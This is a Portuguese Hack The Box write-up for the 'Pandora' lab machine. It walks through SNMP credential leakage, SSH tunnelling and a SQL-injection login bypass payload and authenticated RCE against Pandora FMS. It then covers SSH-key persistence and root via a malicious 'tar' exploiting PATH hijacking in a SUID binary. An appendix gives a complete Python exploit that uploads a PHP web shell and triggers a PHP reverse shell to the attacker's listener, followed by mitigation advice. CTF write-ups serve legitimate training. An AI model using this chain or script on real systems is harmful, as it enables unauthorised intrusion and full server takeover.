0xEtern4lW0lf
Hack The BoxEasyLinux

Pandora

8 min de leitura
#SNMP#Pandora FMS#SQLi#RCE#PATH Hijacking

https://app.hackthebox.com/machines/Pandora

Introdução

  • IP: 10.10.11.136 Esta é uma máquina Linux de dificuldade fácil. Para obter o shell inicial, é necessário enumerar o serviço SNMP, onde são encontradas as credenciais do usuário daniel. Após o acesso via SSH, é identificada uma aplicação web interna rodando apenas no localhost da máquina, sendo necessário realizar um tunelamento de porta para acessá-la. Essa aplicação é o Pandora FMS, que é vulnerável a SQL Injection (CVE-2021-32099) e a RCE autenticado (CVE-2020-5844). Explorando essas vulnerabilidades, obtemos acesso com o usuário matt. Para a elevação de privilégios até root, é necessário explorar uma falha de PATH hijacking em um binário SUID. O script de exploração automatizado encontra-se na seção de Anexos, ao final deste relatório.

Escaneamento

Varredura de Portas

ports=$(sudo nmap -sTU --open -p- -Pn --min-rate=1000 -T4 10.10.11.136 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.11.136

UDP

sudo nmap -sU -top-ports=100 10.10.11.136

Enumeração

Porta 80 (HTTP)

O site é do “Play”, uma extensão do Panda.HTB: Todos os links levam para o mesmo lugar na página. Há um formulário de contato na parte inferior, mas ele não parece fazer nada. Adicionei panda.htb ao meu arquivo /etc/hosts, mas a mesma página é carregada.

Porta 161 (SNMP - UDP)

Vou executar o snmp-check, que tem uma saída mais amigável. Analisando os processos, encontramos uma credencial:

snmp-check -c public 10.10.11.136

Usuário: daniel
Senha: HotelBabylon23

Exploração

Obtendo o Shell Inicial

Com a credencial encontrada ao observar os processos da máquina na porta 161, conseguimos acesso via SSH:

ssh 10.10.11.136 -l daniel
HotelBabylon23

Pandora FMS — SQL Injection e RCE

Reconhecimento como Daniel

ss -nltp

Encontramos uma página web interna rodando no localhost, na porta 80.

cat /etc/apache2/sites-enabled/pandora.conf

Enumerando a Porta 80 Interna

Fizemos o tunelamento da porta 80 do alvo para a porta 9090 da minha Kali:

ssh -N -L 9090:localhost:80 daniel@10.10.11.136
HotelBabylon23

Assim, temos acesso à página web interna do alvo. Há uma área de login e uma aplicação web, v7.0NG.742_FIX_PERL2020 (Pandora FMS), cuja versão é visível no canto inferior. Pesquisando no Google, encontramos um exploit baseado na CVE-2020-5844, mas é um exploit que exige autenticação — não funciona para nós neste momento. Este site mostra algumas CVEs conhecidas para essa aplicação web: https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/

CVE-2021-32099 (SQL Injection — Bypass de Login)

Referência: https://www.cvedetails.com/cve/CVE-2021-32099/ Este é o comando que permite contornar o login como admin. https://github.com/akr3ch/CVE-2021-32099

http://localhost:9090/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1

Na prática, esse payload insere meu cookie como uma sessão de admin.

CVE-2020-5844 (RCE Autenticado)

Agora podemos usar o exploit de RCE autenticado baseado na CVE-2020-5844. https://github.com/UNICORDev/exploit-CVE-2020-5844 Esse exploit insere um parâmetro vulnerável a RCE. Agora conseguimos executar comandos no alvo. Esse exploit também permite obter uma reverse shell rapidamente. HABEMUS SHELL MATT!!!

Pós-Exploração

Matt → Root

Persistência via SSH

Inserimos nossa chave pública SSH no arquivo /home/matt/.ssh/authorized_keys do alvo, para manter o acesso via SSH como matt.

mkdir ~/.ssh
echo "<PUBKEY-SSH>" > ~/.ssh/authorized_keys

Binário pandora_backup (PATH Hijacking)

find / -perm -4000 -ls 2>/dev/null

A máquina possui o ltrace instalado, que usaremos para depurar o binário pandora_backup.

ltrace é um programa que intercepta e registra as chamadas de bibliotecas dinâmicas feitas pelo processo em execução, bem como os sinais recebidos por esse processo. Também pode interceptar e exibir as chamadas de sistema executadas pelo programa. {color=“gray_bg”} O binário falha porque não possui permissão para acessar /root/.backup/pandora-backup.tar.gz, o que faz sentido já que o ltrace remove os privilégios do SUID. Ainda assim, é possível notar que ele usa system para chamar o tar sem especificar o caminho completo. É possível controlar esse caminho, o que torna o binário provavelmente vulnerável a PATH hijacking. Vou trabalhar a partir de /tmp e adicionar esse diretório ao PATH do usuário atual:

export PATH=/tmp:$PATH

Agora, em /tmp, criei um arquivo malicioso chamado tar:

echo -e '#!/bin/bash \nbash -i' > /tmp/tar
chmod +x tar

Ao executar o binário, ele executa meu tar malicioso.

/usr/bin/pandora_backup

HABEMUS ROOT!!!

Anexos

Script de Automação (Obtenção de Shell)

Este é um script em Python para explorar esta máquina. pandora-getshell.py

#! /usr/bin/env python3

#### Author: 0xEtern4lW0lf
#### Created: 24 Dez 2022
#### Description: Exploit Pandora FMS 742
#### CVE: CVE-2021-32099 (SQL Injection)
#### CVE: CVE-2021-32099 (RCE)
#### Refer: https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/

#### ========= MODULES =========

import argparse
import sys
import time
import socket
from threading import Thread
import requests
import urllib.parse
import telnetlib

#### ========= VARIABLE =========

#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m "

## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

webName = '0xEtern4lW0lff.php'
cookie = 'tk91kn9qjfulm7t01illrnr2rv'

#### ========= FUNCTION =========

## Banner
def banner():
  EwLogo = f"""

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
 _____  _                         ___  _  _    _  _____  _   __ 
|  ___|| |                       /   || || |  | ||  _  || | / _|
| |__  | |_   ___  _ __  _ __   / /| || || |  | || |/' || || |_ 
|  __| | __| / _ \| '__|| '_ \ / /_| || || |/\| ||  /| || ||  _|
| |___ | |_ |  __/| |   | | | |\___  || |\  /\  /\ |_/ /| || |  
\____/  \__| \___||_|   |_| |_|    |_/|_| \/  \/  \___/ |_||_|  
                                                                
#----------------------------------------------------------------# 
    
    Author: {GREEN}0xEtern4lW0lf{END}                           
    {RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}

    FOR EDUCATIONAL PURPOSE ONLY.

  """
  return print(f'{BLUE}{EwLogo}{END}')

## Pretty loading wheel
def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')

##### Weaponization and Attack

## Set the handler
def handler(lport, target):
    print(f"{BLUE}[+] LISTEN: {YELLOW} Starting handler on {lport} [+]{END}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen()
    conn, addr = s.accept()
    loading(15)
    print(f"{BLUE}[+] LISTEN: {YELLOW}Receiving connection from {target} [+]{END}")
    
    # Utilize o objeto de soquete diretamente
    tn = telnetlib.Telnet()
    tn.sock = conn
    
    print(f"\n{BLUE}[+] SUCCESS: {GREEN}HABEMUS SHELL! [+]{END}\n")
    tn.interact()

## bypass login based CVE-2021-32099 (SQL Injection)
def bypassLogin(rhost,rport):
    
    print(f"\n{BLUE}[+] BYPASS LOGIN: {YELLOW} Bypass login page [+]{END}")

    global payload
    payload = "a' UNION SELECT 'a',1,'id_usuario|s:5:\"admin\";' as data FROM tsessions_php WHERE '1'='1"

    url = f"http://{rhost}:{rport}/pandora_console/include/chart_generator.php?session_id={payload}"

    cookies = {'PHPSESSID': cookie}

    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Sec-Fetch-Dest': 'document',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-User': '1',
        }

    # Try to upload the PHP web shell to the server
    try:
        r = requests.get(url, headers=headers, cookies=cookies, verify=False)
        print(f"{BLUE}[+] BYPASS LOGIN: {YELLOW}Connected to web! Status Code: {r.status_code} [+]{END}")

    
    except:
        print(f"{RED}[!] ERROR: {YELLOW}Could not connect to web! Status Code: {r.status_code} [!]{END}")
        exit()
    
    loading(15)

## Upload webshell based in CVE-2021-32099 (RCE)
def uploadWebShell(rhost,rport):

    # Set headers, parameters, and cookies for post request
    url = f'http://{rhost}:{rport}/pandora_console/index.php'

    headers = {
    'Host': f'{rhost}',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874',
    'Content-Length': '1289',
    'Connection': 'close',
    'Referer': f'http://{rhost}:{rport}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1'
    }

    params = (
        ('sec', 'gsetup'),
        ('sec2', 'godmode/setup/file_manager')
    )

    cookies = {'PHPSESSID': cookie}

    # Basic PHP web shell with '???' parameter
    data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n'

    # Try to upload the PHP web shell to the server
    try:
        r = requests.post(url, headers=headers, params=params, cookies=cookies, data=data, verify=False)
        print(f"{BLUE}[+] EXPLOIT: {YELLOW}Connected to web! Status Code: {r.status_code} [+]{END}")

    
    except:
        print(f"{RED}[!] ERROR: {YELLOW}Could not connect to web! Status Code: {r.status_code} [!]{END}")
        exit()

    
    loading(15)

def getShell(rhost,rport,lhost,lport):

    shell = f"php -r \'$sock=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'"
    
    try:
        requests.get(f'http://{rhost}:{rport}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1)
        print(f"{RED}[!] ERROR: {YELLOW}Reverse shell could not connect! Make sure you have a local listener on {YELLOW}{lhost}:{lport}{END}\n")
    
    except:
        print(f"\n{BLUE}[+] SUCCESS: {GREEN}Command sent SUCCESSFULLY! [+]{END}\n")

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser(description='GetShell - Pandora / HTB - 0xEtern4lW0lf')
    parser.add_argument('-t', '--target', help='Target IP address or hostname', type=str, required=True)
    parser.add_argument('-p','--rport', help="Port of the target machine.", type=int, required=True)
    parser.add_argument('-li', '--lhost', help='Local IP address or hostname', type=str, required=True)
    parser.add_argument('-lp', '--lport', help='Local Port to receive the shell', type=int, required=True)

    args = parser.parse_args()

    rhost = args.target
    rport = args.rport
    lhost = args.lhost
    lport = args.lport

    ## Setup the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()

    ## Here do SQLi for bypass login
    bypassLogin(rhost,rport)

    ## Here up webshell
    uploadWebShell(rhost,rport)

    ## Here inject reverse shell command
    getShell(rhost,rport,lhost,lport)

    
if __name__ == '__main__':
    banner()
    main()

Mais scripts em https://github.com/0xEtern4lW0lf.

Mitigação

  • Atualizar o Pandora FMS para uma versão corrigida, eliminando as vulnerabilidades de SQL Injection (CVE-2021-32099) e de RCE autenticado (CVE-2020-5844).
  • Restringir o acesso ao SNMP (porta 161/UDP): desabilitar ou trocar a community string pública/padrão (public) e, quando possível, migrar para SNMPv3 com autenticação.
  • Evitar expor credenciais em argumentos de linha de comando ou em processos visíveis a outros usuários locais.
  • Corrigir chamadas inseguras a binários externos: em programas SUID, nunca invocar comandos como tar via system()/popen() sem especificar o caminho absoluto, e sanitizar/restringir a variável de ambiente PATH usada por processos privilegiados.
  • Aplicar o princípio do menor privilégio a binários SUID, revisando periodicamente a lista de binários com esse bit (find / -perm -4000).
  • Isolar aplicações administrativas internas (como o Pandora FMS) para que não fiquem acessíveis apenas via localhost sem controles adicionais, exigindo autenticação/VPN antes do acesso.